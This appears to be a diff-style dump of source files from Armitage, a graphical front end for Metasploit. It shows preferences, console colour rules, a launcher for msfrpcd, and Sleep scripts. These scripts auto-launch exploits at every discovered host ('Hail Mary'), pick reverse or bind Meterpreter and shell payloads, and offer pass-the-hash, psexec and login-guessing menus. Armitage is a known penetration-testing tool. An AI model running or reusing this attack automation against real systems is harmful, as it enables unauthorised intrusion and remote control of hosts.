graph.arrange_icons_stack.shortcut=ctrl pressed S
graph.edge_highlight.color=\#00ff00
graph.default_layout.layout=stack
application.skin.skin=Nimbus
graph.clear_selection.shortcut=pressed ESCAPE
graph.select_all.shortcut=ctrl pressed A
armitage.required_exploit_rank.string=great
armitage.string.target_view=graph
console.select_all.shortcut=ctrl pressed A
armitage.log_everything.boolean=true
armitage.no_msf_banner.boolean=false
tab.highlight.color=#0000ff
armitage.show_all_commands.boolean=true
armitage.application_title.string=Armitage
console.color_0.color=\#ffffff
console.color_1.color=\#000000
console.color_2.color=\#000080
console.color_3.color=\#009000
console.color_4.color=\#ff0000
console.color_5.color=\#800000
console.color_6.color=\#a000a0
console.color_7.color=\#ff8000
console.color_8.color=\#ffff00
console.color_9.color=\#00ff00
console.color_10.color=\#009090
console.color_11.color=\#00ffff
console.color_12.color=\#0000ff
console.color_13.color=\#ff00ff
console.color_14.color=\#808080
console.color_15.color=\#c0c0c0
console.show_colors.boolean=true
Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

+12
View File
@@ -0,0 +1,12 @@
Metasploit's RPC daemon shut down. This is the
service Armitage uses to talk to Metasploit.
When this happens, it means something is wrong.
The developer of Armitage feels your pain from
afar. Would you like help troubleshooting this?
P.S. yes you would--the answer is known and it's
easy to deal with. Click Yes to visit the
troubleshooting guide at:
http://www.fastandeasyhacking.com/nomsfrpcd
+4
View File
@@ -0,0 +1,4 @@
^(..:..:..) \[\*\] (.*) $1 \cA[*]\o $2
^\[\*\] (.*) \cA[*]\o $1
^(..:..:..) \* (.*) $1 \c7*\o $2
^(\w+)> \u$1\o>
Binary file not shown.

After

Width:  |  Height:  |  Size: 398 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 143 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

+11
View File
@@ -0,0 +1,11 @@
^msf> \umsf\u>
^meterpreter > \umeterpreter\u >
^msf > \umsf\u >
^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) >
^\[\*\] (.*) \cA[*]\o $1
^\[\+\] (.*) \c9[+]\o $1
^\[\-\] (.*) \c4[-]\o $1
^ =\[ (.*) =[\c7 $1
^(=[=\s]+) \cE$1
^(\s*-[-\s]+) \cE$1
^(.*?): (.*) $1\cE:\o $2
+10
View File
@@ -0,0 +1,10 @@
@echo off
set BASE=$$BASE$$
cd "%BASE%"
set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%svn\bin;%BASE%nmap;%BASE%postgresql\bin;%PATH%
IF NOT EXIST "%BASE%java" GOTO NO_JAVA
set JAVA_HOME="%BASE%java"
:NO_JAVA
set MSF_DATABASE_CONFIG="%BASE%\config\database.yml"
cd "%BASE%msf3"
rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$
Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 109 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

+1
View File
@@ -0,0 +1 @@
java -classpath bin:lib/\*:. armitage.ArmitageMain $*
+319
View File
@@ -0,0 +1,319 @@
debug(7 | 34);
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.imageio.*;
import java.awt.*;
import java.awt.event.*;
import msf.*;
import console.*;
import armitage.*;
import graph.*;
import java.awt.image.*;
global('$frame $tabs $menubar $msfrpc_handle $REMOTE');
sub describeHost {
local('$sessions $os @overlay $ver $info');
($sessions, $os, $ver) = values($1, @('sessions', 'os_name', 'os_flavor'));
if (size($sessions) == 0) {
return $1['address'];
}
$info = values($sessions)[0]["info"];
if ("Microsoft Corp." isin $info) {
return $1['address'] . "\nshell session";
}
else {
return $1['address'] . "\n $+ $info";
}
}
sub showHost {
local('$sessions $os @overlay $match $purpose');
($sessions, $os, $match, $purpose) = values($1, @('sessions', 'os_name', 'os_flavor', 'purpose'));
$os = normalize($os);
if ($match eq "") {
$match = $1['os_match'];
}
if ($os eq "Printer" || "*Printer*" iswm $match || "*embedded*" iswm lc($os)) {
return overlay_images(@('resources/printer.png'));
}
else if ($os eq "Windows") {
if ("*2000*" iswm $match || "*95*" iswm $match || "*98*" iswm $match || "*ME*" iswm $match || "*Me*" iswm $match) {
push(@overlay, 'resources/windows2000.png');
}
else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) {
push(@overlay, 'resources/windowsxp.png');
}
else {
push(@overlay, 'resources/windows7.png');
}
}
else if ($os eq "Mac OS X" || "*apple*" iswm lc($os) || "*mac*os*x*" iswm lc($os)) {
push(@overlay, 'resources/macosx.png');
}
else if ("*linux*" iswm lc($os)) {
push(@overlay, 'resources/linux.png');
}
else if ($os eq "IOS" || "*cisco*" iswm lc($os)) {
push(@overlay, 'resources/cisco.png');
}
else if ("*BSD*" iswm $os) {
push(@overlay, 'resources/bsd.png');
}
else if ($os eq "Solaris") {
push(@overlay, 'resources/solaris.png');
}
else if ("*VMware*" iswm $os) {
push(@overlay, 'resources/vmware.png');
}
else if ($purpose eq "firewall") {
return overlay_images(@('resources/firewall.png'));
}
else {
push(@overlay, 'resources/unknown.png');
}
if (size($sessions) > 0) {
push(@overlay, 'resources/hacked.png');
}
else {
push(@overlay, 'resources/computer.png');
}
return overlay_images(@overlay);
}
sub connectToMetasploit {
local('$thread $5');
$thread = [new Thread: lambda(&_connectToMetasploit, \$1, \$2, \$3, \$4, \$5)];
[$thread start];
}
sub _connectToMetasploit {
global('$database $client $mclient $console @exploits @auxiliary @payloads @post');
# reset rejected fingerprints
let(&verify_server, %rejected => %());
# update preferences
local('%props $property $value $flag $exception');
%props['connect.host.string'] = $1;
%props['connect.port.string'] = $2;
%props['connect.user.string'] = $3;
%props['connect.pass.string'] = $4;
if ($5 is $null) {
foreach $property => $value (%props) {
[$preferences setProperty: $property, $value];
}
}
savePreferences();
# setup progress monitor
local('$progress');
$progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100];
# keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose.
$REMOTE = iff($1 eq "127.0.0.1", $null, 1);
$flag = 10;
while ($flag) {
try {
if ([$progress isCanceled]) {
if ($msfrpc_handle !is $null) {
try {
wait(fork({ closef($msfrpc_handle); }, \$msfrpc_handle), 5 * 1024);
$msfrpc_handle = $null;
}
catch $exception {
[JOptionPane showMessageDialog: $null, "Unable to shutdown MSFRPC programatically\nRestart Armitage and try again"];
[System exit: 0];
}
}
connectDialog();
return;
}
# connecting locally? go to Metasploit directly...
if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") {
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
$mclient = $client;
initConsolePool();
initReporting();
}
# we have a team server... connect and authenticate to it.
else {
$client = c_client($1, $2);
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
$mclient = setup_collaboration($3, $4, $1, $2);
}
$flag = $null;
}
catch $exception {
[$progress setNote: [$exception getMessage]];
[$progress setProgress: $flag];
$flag++;
sleep(2500);
}
}
let(&postSetup, \$progress);
[$progress setNote: "Connected: Getting base directory"];
[$progress setProgress: 30];
setupBaseDirectory();
if (!$REMOTE) {
[$progress setNote: "Connected: Connecting to database"];
[$progress setProgress: 40];
try {
# create a console to force the database to initialize
local('$c');
$c = createConsole($client);
call_async($client, "console.destroy", $c);
# connect to the database plz...
$database = connectToDatabase();
[$client setDatabase: $database];
# setup our reporting stuff (has to happen *after* base directory)
initReporting();
}
catch $exception {
[JOptionPane showMessageDialog: $null, "Could not connect to database.\nClick Help button for troubleshooting help.\n\n" . [$exception getMessage]];
if ($msfrpc_handle) { closef($msfrpc_handle); }
[System exit: 0];
}
}
[$progress setNote: "Connected: Getting local address"];
[$progress setProgress: 50];
cmd_safe("setg", lambda({
# store the current global vars to save several other calls later
global('%MSF_GLOBAL');
local('$value');
foreach $value (parseTextTable($3, @("Name", "Value"))) {
%MSF_GLOBAL[$value['Name']] = $value['Value'];
}
# ok, now let's continue on with what we're doing...
getBindAddress();
[$progress setNote: "Connected: ..."];
[$progress setProgress: 60];
if (!$REMOTE && %MSF_GLOBAL['ARMITAGE_TEAM'] eq '1') {
showErrorAndQuit("Do not connect to 127.0.0.1 when\nrunning a team server.");
}
dispatchEvent(&postSetup);
}, \$progress));
}
sub postSetup {
thread(lambda({
[$progress setNote: "Connected: Fetching exploits"];
[$progress setProgress: 70];
@exploits = sorta(call($mclient, "module.exploits")["modules"]);
[$progress setNote: "Connected: Fetching auxiliary modules"];
[$progress setProgress: 80];
@auxiliary = sorta(call($mclient, "module.auxiliary")["modules"]);
[$progress setNote: "Connected: Fetching payloads"];
[$progress setProgress: 90];
@payloads = sorta(call($mclient, "module.payloads")["modules"]);
[$progress setNote: "Connected: Fetching post modules"];
[$progress setProgress: 100];
@post = sorta(call($mclient, "module.post")["modules"]);
[$progress close];
main();
createDashboard();
}, \$progress));
}
sub main {
local('$console $panel $dir');
$frame = [new ArmitageApplication];
[$frame setTitle: $TITLE];
[$frame setSize: 800, 600];
init_menus($frame);
initLogSystem();
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
[$frame show];
[$frame setExtendedState: [JFrame MAXIMIZED_BOTH]];
# this window listener is dead-lock waiting to happen. That's why we're adding it in a
# separate thread (Sleep threads don't share data/locks).
fork({
[$frame addWindowListener: {
if ($0 eq "windowClosing" && $msfrpc_handle !is $null) {
closef($msfrpc_handle);
}
}];
}, \$msfrpc_handle, \$frame);
dispatchEvent({
if ($client !is $mclient) {
createEventLogTab();
}
else {
createConsoleTab();
}
});
if (-exists "command.txt") {
deleteFile("command.txt");
}
}
sub checkDir {
# set the directory where everything exciting and fun will happen.
if (cwd() eq "/Applications" || !-canwrite cwd() || isWindows()) {
local('$dir');
$dir = getFileProper(systemProperties()["user.home"], "armitage-tmp");
if (!-exists $dir) {
mkdir($dir);
}
chdir($dir);
warn("Saving files to $dir");
}
}
setLookAndFeel();
checkDir();
if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) {
local('$config');
$config = [new Properties];
[$config load: [new java.io.FileInputStream: $CLIENT_CONFIG]];
connectToMetasploit([$config getProperty: "host", "127.0.0.1"],
[$config getProperty: "port", "55553"],
[$config getProperty: "user", "msf"],
[$config getProperty: "pass", "test"], 1);
}
else {
connectDialog();
}
+652
View File
@@ -0,0 +1,652 @@
#
# Code to create the various attack menus based on db_autopwn
#
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import msf.*;
import table.*;
import ui.*;
global('%results @always_reverse %exploits %results2');
%results = ohash();
%results2 = ohash();
setMissPolicy(%results, { return @(); });
setMissPolicy(%results2, { return @(); });
# %exploits is populated in menus.sl when the client-side attacks menu is constructed
# a list of exploits that should always use a reverse shell... this list needs to grow.
@always_reverse = @("multi/samba/usermap_script", "unix/misc/distcc_exec", "windows/http/xampp_webdav_upload_php");
#
# generate menus for a given OS
#
sub exploit_menus {
local('%toplevel @allowed $ex $os $port $exploit');
%toplevel = ohash();
@allowed = getOS($1);
foreach $ex ($2) {
($os, $port, $exploit) = split('/', $ex);
if ($os in @allowed) {
if ($port !in %toplevel) {
%toplevel[$port] = %();
}
%toplevel[$port][$exploit] = $ex;
}
}
local('%r $menu $exploits $name $exploit');
%r = ohash();
putAll(%r, sorta(keys(%toplevel)), { return 1; });
foreach $menu => $exploits (%r) {
$exploits = ohash();
foreach $name (sorta(keys(%toplevel[$menu]))) {
$exploits[$name] = %toplevel[$menu][$name];
}
}
return %r;
}
sub targetsCombobox {
local('$key $value @targets $combobox');
foreach $key => $value ($1["targets"]) {
if (strlen($value) > 53) {
push(@targets, "$key => " . substr($value, 0, 50) . "...");
}
else {
push(@targets, "$key => $value");
}
}
$combobox = [new JComboBox: sort({
local('$a $b');
$a = int(split(' \=\> ', $1)[0]);
$b = int(split(' \=\> ', $2)[0]);
return $a <=> $b;
}, @targets)];
return $combobox;
}
sub getOS {
local('@allowed $os');
$os = normalize($1);
if ($os eq "Windows") { @allowed = @("windows", "multi"); }
else if ($os eq "Solaris") { @allowed = @("solaris", "multi", "unix"); }
else if ($os eq "Linux") { @allowed = @("linux", "multi", "unix"); }
else if ($os eq "Mac OS X") { @allowed = @("osx", "multi", "unix"); }
else if ($os eq "FreeBSD") { @allowed = @("freebsd", "multi", "unix"); }
else { @allowed = @("multi", "unix"); }
return @allowed;
}
# findAttacks("p", "good|great|excellent", &callback) - port analysis
# findAttacks("x", "good|great|excellent", &callback) - vulnerability analysis
sub resolveAttacks {
thread(lambda(&_resolveAttacks, $args => @_));
}
sub _resolveAttacks {
# force a service data refresh before hail mary or find attacks.
_refreshServices(call($mclient, "db.services"));
%results = ohash();
%results2 = ohash();
setMissPolicy(%results, { return @(); });
setMissPolicy(%results2, { return @(); });
local('%r $r $p $module $s');
%r = ohash();
setMissPolicy(%r, { return @(); });
#
# find all exploits and their associated ports
#
$s = rankScore($args[1]);
foreach $module (@exploits) {
if (%exploits[$module]["rankScore"] >= $s) {
$r = call($client, "module.options", "exploit", $module);
yield 2;
if ("RPORT" in $r && "default" in $r["RPORT"]) {
$p = $r["RPORT"]["default"];
push(%r[$p], $module);
if ($p eq "445") {
push(%r["139"], $module);
}
else if ($p eq "139") {
push(%r["139"], $module);
}
else if ($p eq "80") {
push(%r["443"], $module);
}
else if ($p eq "443") {
push(%r["80"], $module);
}
}
}
}
#
# for each host, see if there is an exploit associated with its port and if so, report it...
#
local('$port $modules $host $data $services $exploit');
foreach $port => $modules (%r) {
foreach $host => $data (%hosts) {
$services = $data["services"];
if ($port in $services) {
foreach $exploit ($modules) {
push(%results[$host], $exploit);
push(%results2[$host], @($exploit, $port));
}
}
}
}
[$args[2]];
}
sub findAttacks {
resolveAttacks($1, $2, {
showError("Attack Analysis Complete...\n\nYou will now see an 'Attack' menu attached\nto each host in the Targets window.\n\nHappy hunting!");
});
}
sub smarter_autopwn {
local('$console');
elog("has given up and launched the hail mary!");
$console = createDisplayTab("Hail Mary", 1, $host => "all", $file => "hailmary");
[[$console getWindow] append: "\n\n1) Finding exploits (via local magic)\n\n"];
resolveAttacks($1, $2, lambda({
# now crawl through %results and start hacking each host in turn
local('$host $exploits @allowed $ex $os $port $exploit @attacks %dupes $e $p');
# filter the attacks...
foreach $host => $exploits (%results2) {
%dupes = %();
@allowed = getOS(getHostOS($host));
foreach $e ($exploits) {
($ex, $p) = $e;
($os, $port, $exploit) = split('/', $ex);
if ($os in @allowed && $ex !in %dupes) {
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), $p, %exploits[$ex]));
if ($p eq "139") {
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), 445, %exploits[$ex]));
}
%dupes[$ex] = 1;
}
}
[[$console getWindow] append: "\t[ $+ $host $+ ] Found " . size($exploits) . " exploits\n" ];
}
[[$console getWindow] append: "\n2) Sorting Exploits\n"];
# now sort them, so the best ones are on top...
sort({
local('$a $b');
if ($1[1] !in %exploits) {
return 1;
}
if ($2[1] !in %exploits) {
return -1;
}
$a = %exploits[$1[1]];
$b = %exploits[$2[1]];
if ($a['rankScore'] eq $b['rankScore']) {
return $b['date'] <=> $a['date'];
}
return $b['rankScore'] <=> $a['rankScore'];
}, @attacks);
[[$console getWindow] append: "\n3) Launching Exploits\n\n"];
# now execute them...
local('$progress');
$progress = [new ProgressMonitor: $null, "Launching Exploits...", "...", 0, size(@attacks)];
thread(lambda({
local('$host $ex $payload $x $rport %wait');
while (size(@attacks) > 0 && [$progress isCanceled] == 0) {
($host, $ex, $payload, $rport) = @attacks[0];
# let's throttle our exploit/host velocity a little bit.
if ((ticks() - %wait[$host]) > 1250) {
yield 250;
}
else {
yield 1500;
}
[$progress setNote: "$host $+ : $+ $rport ( $+ $ex $+ )"];
[$progress setProgress: $x + 0];
call_async($client, "module.execute", "exploit", $ex, %(PAYLOAD => $payload, RHOST => $host, LPORT => randomPort() . '', RPORT => "$rport", TARGET => '0', SSL => iff($rport == 443, '1')));
%wait[$host] = ticks();
$x++;
@attacks = sublist(@attacks, 1);
}
[$progress close];
[[$console getWindow] append: "\n\n4) Listing sessions\n\n"];
[$console addCommand: $null, "sessions -v"];
[$console start];
[$console stop];
}, \@attacks, \$progress, \$console));
}, \$console));
}
# choose a payload...
# best_client_payload(exploit, target)
sub best_client_payload {
local('$os');
$os = split('/', $1)[0];
if ($os eq "windows" || "*Windows*" iswm $2) {
return "windows/meterpreter/reverse_tcp";
}
else if ("*Generic*Java*" iswm $2) {
return "java/meterpreter/reverse_tcp";
}
else if ("*Mac*OS*PPC*" iswm $2 || ($os eq "osx" && "*PPC*" iswm $2)) {
return "osx/ppc/shell/reverse_tcp";
}
else if ("*Mac*OS*x86*" iswm $2 || "*Mac*OS*" iswm $2 || "*OS X*" iswm $2 || $os eq "osx") {
return "osx/x86/vforkshell/reverse_tcp";
}
else {
return "generic/shell_reverse_tcp";
}
}
sub isIPv6 {
local('$inet $exception');
try {
$inet = [java.net.InetAddress getByName: $1];
if ($inet isa ^java.net.Inet6Address) {
return 1;
}
}
catch $exception { }
return $null;
}
# choose a payload...
# best_payload(host, exploit, reverse preference)
sub best_payload {
local('$compatible $os $win');
$compatible = call($client, "module.compatible_payloads", $2)["payloads"];
$os = iff($1 in %hosts, %hosts[$1]['os_name']);
$win = iff($os eq "Windows" || "windows" isin $2);
if ($3) {
if ($win && "windows/meterpreter/reverse_tcp" in $compatible) {
return "windows/meterpreter/reverse_tcp";
}
else if ($win && "windows/shell/reverse_tcp" in $compatible) {
return "windows/shell/reverse_tcp";
}
else if ("java/meterpreter/reverse_tcp" in $compatible) {
return "java/meterpreter/reverse_tcp";
}
else if ("java/shell/reverse_tcp" in $compatible) {
return "java/shell/reverse_tcp";
}
else if ("java/jsp_shell_reverse_tcp" in $compatible) {
return "java/jsp_shell_reverse_tcp";
}
else if ("php/meterpreter_reverse_tcp" in $compatible) {
return "php/meterpreter_reverse_tcp";
}
else {
return "generic/shell_reverse_tcp";
}
}
if ($win && "windows/meterpreter/bind_tcp" in $compatible) {
if (isIPv6($1)) {
return "windows/meterpreter/bind_ipv6_tcp";
}
else {
return "windows/meterpreter/bind_tcp";
}
}
else if ($win && "windows/shell/bind_tcp" in $compatible) {
if (isIPv6($1)) {
return "windows/shell/bind_ipv6_tcp";
}
else {
return "windows/shell/bind_tcp";
}
}
else if ("java/meterpreter/bind_tcp" in $compatible) {
return "java/meterpreter/bind_tcp";
}
else if ("java/shell/bind_tcp" in $compatible) {
return "java/shell/bind_tcp";
}
else if ("java/jsp_shell_bind_tcp" in $compatible) {
return "java/jsp_shell_bind_tcp";
}
else {
return "generic/shell_bind_tcp";
}
}
sub addAdvanced {
local('$d');
$d = [new JCheckBox: " Show advanced options"];
[$d addActionListener: lambda({
[$model showHidden: [$d isSelected]];
[$model fireListeners];
}, \$model, \$d)];
return $d;
}
#
# pop up a dialog to start our attack with... fun fun fun
#
sub attack_dialog {
local('$dialog $north $center $south $center @targets $combobox $label $textarea $scroll $model $key $table $sorter $col $d $b $c $button $x $value');
$dialog = dialog("Attack " . join(', ', $3), 590, 360);
$north = [new JPanel];
[$north setLayout: [new BorderLayout]];
$label = [new JLabel: $1["name"]];
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
[$north add: $label, [BorderLayout NORTH]];
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $1["description"])) trim]];
[$textarea setEditable: 0];
[$textarea setOpaque: 1];
[$textarea setLineWrap: 1];
[$textarea setWrapStyleWord: 1];
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
$scroll = [new JScrollPane: $textarea];
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
[$north add: $scroll, [BorderLayout CENTER]];
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
[$model setCellEditable: 1];
foreach $key => $value ($2) {
if ($key eq "RHOST") {
$value["default"] = join(", ", $3);
}
[$model _addEntry: %(Option => $key,
Value => $value["default"],
Tooltip => $value["desc"],
Hide =>
iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1')
)
];
}
[$model _addEntry: %(Option => "LHOST", Value => $MY_ADDRESS, Tooltip => "Address (for connect backs)", Hide => '0')];
[$model _addEntry: %(Option => "LPORT", Value => randomPort(), Tooltip => "Bind meterpreter to this port", Hide => '0')];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
addFileListener($table, $model);
local('$TABLE_RENDERER');
$TABLE_RENDERER = tableRenderer($table, $model);
foreach $col (@("Option", "Value")) {
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
}
$center = [new JScrollPane: $table];
$south = [new JPanel];
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
#[$south setLayout: [new GridLayout: 4, 1]];
$d = addAdvanced(\$model);
$combobox = targetsCombobox($1);
$b = [new JCheckBox: " Use a reverse connection"];
if ($4 in @always_reverse) {
[$b setSelected: 1];
}
$c = [new JPanel];
[$c setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$button = [new JButton: "Launch"];
[$button addActionListener: lambda({
local('$options $host $x');
syncTable($table);
$options = %();
for ($x = 0; $x < [$model getRowCount]; $x++) {
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
}
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
thread(lambda({
local('$host $hosts');
$hosts = split(', ', $options["RHOST"]);
foreach $host ($hosts) {
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
$options["RHOST"] = $host;
if ([$b isSelected]) {
$options["LPORT"] = randomPort();
}
if (size($hosts) >= 4) {
call_async($client, "module.execute", "exploit", $exploit, $options);
}
else {
module_execute("exploit", $exploit, copy($options));
}
yield 100;
}
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
}
}, $options => copy($options), \$exploit, \$b));
if (!isShift($1)) {
[$dialog setVisible: 0];
}
elog("exploit $exploit @ " . $options["RHOST"]);
}, $exploit => $4, \$model, \$combobox, \$dialog, \$b, \$table)];
[$c add: $button];
[$south add: left([new JLabel: "Targets: "], $combobox)];
[$south add: left($b)];
[$south add: left($d)];
[$south add: $c];
#[$dialog add: $north, [BorderLayout NORTH]];
local('$s');
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
[$center setPreferredSize: [new Dimension: 0, 0]];
[$north setPreferredSize: [new Dimension: 480, 76]];
[$s resetToPreferredSizes];
[$s setOneTouchExpandable: 1];
[$dialog add: $s, [BorderLayout CENTER]];
[$dialog add: $south, [BorderLayout SOUTH]];
[$button requestFocus];
[$dialog setVisible: 1];
}
sub min_rank {
return [$preferences getProperty: "armitage.required_exploit_rank.string", "great"];
}
sub host_attack_items {
local('%m');
# we're going to take the OS of the first host...
%m = exploit_menus(%hosts[$2[0]]['os_name'], %results[$2[0]]);
if (size(%m) > 0) {
local('$a $service $exploits $e $name $exploit');
$a = menu($1, "Attack", 'A');
foreach $service => $exploits (%m) {
$e = menu($a, $service, $null);
foreach $name => $exploit ($exploits) {
item($e, $name, $null, lambda({
thread(lambda({
local('$a $b');
$a = call($mclient, "module.info", "exploit", $exploit);
$b = call($mclient, "module.options", "exploit", $exploit);
attack_dialog($a, $b, $hosts, $exploit);
}, \$exploit, \$hosts));
}, \$exploit, $hosts => $2));
}
if ($service eq "smb") {
item($e, "pass the hash...", 'p', lambda(&pass_the_hash, $hosts => $2));
}
if (size($exploits) > 0) {
separator($e);
item($e, "check exploits...", 'c', lambda({
local('$result $h $console');
$console = createDisplayTab("Check Exploits", 1);
$h = $hosts[0];
foreach $result (values($exploits)) {
[$console addCommand: $null, "ECHO \n\n===== Checking $result =====\n\n"];
[$console addCommand: $null, "use $result"];
[$console addCommand: $null, "set RHOST $h"];
[$console addCommand: $null, "check"];
}
[$console start];
[$console stop];
}, $hosts => $2, \$exploits));
}
}
}
local('$service $name @options $a $port $foo');
foreach $port => $service (%hosts[$2[0]]['services']) {
$name = $service['name'];
if ($name eq "smb" && "*Windows*" iswm getHostOS($2[0])) {
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
}
else if ("scanner/ $+ $name $+ / $+ $name $+ _login" in @auxiliary) {
push(@options, @($name, lambda(&show_login_dialog, \$service, $hosts => $2)));
}
else if ($name eq "microsoft-ds") {
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
}
}
if (size(@options) > 0) {
$a = menu($1, 'Login', 'L');
foreach $service (@options) {
($name, $foo) = $service;
item($a, $name, $null, $foo);
}
}
}
sub addFileListener {
local('$table $model $actions');
($table, $model, $actions) = @_;
if ($actions is $null) {
$actions = %();
}
# set up an action to pop up a file chooser for different file type values.
$actions["*FILE*"] = {
local('$title $temp');
$title = "Select $1";
$temp = iff($2 eq "",
chooseFile(\$title, $dir => $DATA_DIRECTORY),
chooseFile(\$title, $sel => $2)
);
if ($temp !is $null) {
[$4: strrep($temp, "\\", "\\\\")];
}
};
$actions["NAMELIST"] = $actions["*FILE*"];
$actions["DICTIONARY"] = $actions["*FILE*"];
$actions["Template"] = $actions["*FILE*"];
$actions["SigningCert"] = $actions["*FILE*"];
$actions["SigningKey"] = $actions["*FILE*"];
$actions["WORDLIST"] = $actions["*FILE*"];
# set up an action to pop up a file chooser for different file type values.
$actions["RHOST"] = {
local('$title $temp');
$title = "Select $1";
$temp = chooseFile(\$title, $dir => ".", $always => "1");
if ($temp !is $null) {
local('$handle');
$handle = openf($temp);
@addresses = readAll($handle);
closef($handle);
[$4: join(", ", @addresses)];
}
};
$actions["RHOSTS"] = $actions["RHOST"];
addMouseListener($table, lambda({
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
local('$type $row $action $change $value');
$value = [$model getSelectedValueFromColumn: $table, "Value"];
$type = [$model getSelectedValueFromColumn: $table, "Option"];
$row = [$model getSelectedRow: $table];
foreach $action => $change ($actions) {
if ($action iswm $type) {
[$change: $type, $value, $row, lambda({;
[$model setValueAtRow: $row, "Value", "$1"];
[$model fireListeners];
}, \$model, \$row)];
}
}
}
}, \$model, \$table, \$actions));
}
sub rankScore {
return %(normal => 1, good => 2, great => 3, excellent => 4)[$1];
}
+423
View File
@@ -0,0 +1,423 @@
#
# File Browser (for Meterpreter)
#
import table.*;
import tree.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import javax.swing.filechooser.*;
import javax.swing.text.*;
import java.io.*;
import ui.*;
global('%files %paths %attribs');
%files = ohash();
%paths = ohash();
%attribs = ohasha();
setMissPolicy(%paths, { return [new PlainDocument]; });
setMissPolicy(%files, { return [new GenericTableModel: @("D", "Name", "Size", "Modified", "Mode"), "Name", 128]; });
sub parseListing {
local('$model');
$model = %files[$1];
if ($0 eq "begin") {
[$model clear: 128];
}
else if ($0 eq "end") {
[$model fireListeners];
}
else if ($0 eq "update") {
if ("*Operation failed*" iswm $2) {
showError("$2 $+ \n\nMaybe you don't have permission to access \nthis folder? Press the Refresh button.");
}
else if ($2 ismatch 'Listing: (.*?)' || $2 ismatch 'No entries exist in (.*?)') {
local('$path');
($path) = matched();
[%paths[$1] remove: 0, [%paths[$1] getLength]];
[%paths[$1] insertString: 0, $path, $null];
}
else {
local('$mode $size $type $last $name');
($mode, $size, $type, $last, $name) = split('\s{2,}', $2);
if ($size ismatch '\d+' && $name ne "." && $name ne "..") {
[$model addEntry: %(Name => $name, D => $type, Size => iff($type eq "dir", "", $size), Modified => $last, Mode => $mode)];
}
}
}
}
%handlers["ls"] = &parseListing;
# setupSizeRenderer($table, "columnname")
sub setupSizeRenderer {
[[$1 getColumn: $2] setCellRenderer: [ATable getSizeTableRenderer]];
}
sub listDrives {
local('$queue');
$queue = [new armitage.ConsoleQueue: $client];
[$model clear: 128];
[$queue addCommand: $null, "use post/windows/gather/forensics/enum_drives"];
[$queue addCommand: $null, "set SESSION $1"];
[$queue addCommand: "x", "run"];
[$queue addListener: lambda({
local('@entries $entry $d $s $f');
@entries = parseTextTable($3, @('Device Name.', 'Type.', 'Size .bytes..'));
foreach $entry (@entries) {
$d = $entry['Device Name.'];
if ($d ismatch '....([A-Z]\\:)') {
[$model addEntry: %(Name => matched()[0], D => "dir", Size => "", Modified => "", Mode => "")];
$f = 1;
}
}
[$refresh setEnabled: 1];
[$model fireListeners];
[$queue stop];
}, \$queue, \$model, \$refresh)];
[$refresh setEnabled: 0];
[$queue start];
}
sub createFileBrowser {
local('$table $tree $model $panel $split $scroll1 $sorter $up $text $fsv $chooser $upload $mkdir $refresh $top $setcwd $drives');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$model = %files[$1];
$table = [new ATable: $model];
[$table setShowGrid: 0];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
# file size column
[$sorter setComparator: 2, {
return long($1) <=> long($2);
